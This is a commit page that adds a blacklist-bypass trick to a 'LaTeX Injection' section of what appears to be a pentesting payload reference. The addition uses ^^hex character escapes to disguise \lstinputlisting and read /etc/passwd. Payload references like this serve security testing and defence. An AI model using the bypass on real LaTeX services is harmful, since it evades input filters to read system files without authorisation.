Merge pull request #695 from hebelsan/patch-1

latex injection add blacklist bypass
swisskyrepo · Nov 12, 2023 · 711b44c · 711b44c
2 parents d80068c + ae3f91c
commit 711b44c
Showing 1 changed file with 8 additions and 0 deletions.
diff --git a/LaTeX Injection/README.md b/LaTeX Injection/README.md
@@ -53,6 +53,14 @@ characters can be deactivated in order to use `\input` on file containing `$`, `
 \input{path_to_script.pl}
 ```
 
+To bypass a blacklist try to replace one character with it's unicode hex value. 
+- ^^41 represents a capital A
+- ^^7e represents a tilde (~) note that the ‘e’ must be lower case
+
+```tex
+\lstin^^70utlisting{/etc/passwd}
+```
+
 ## Write file
 
 Write single lined file: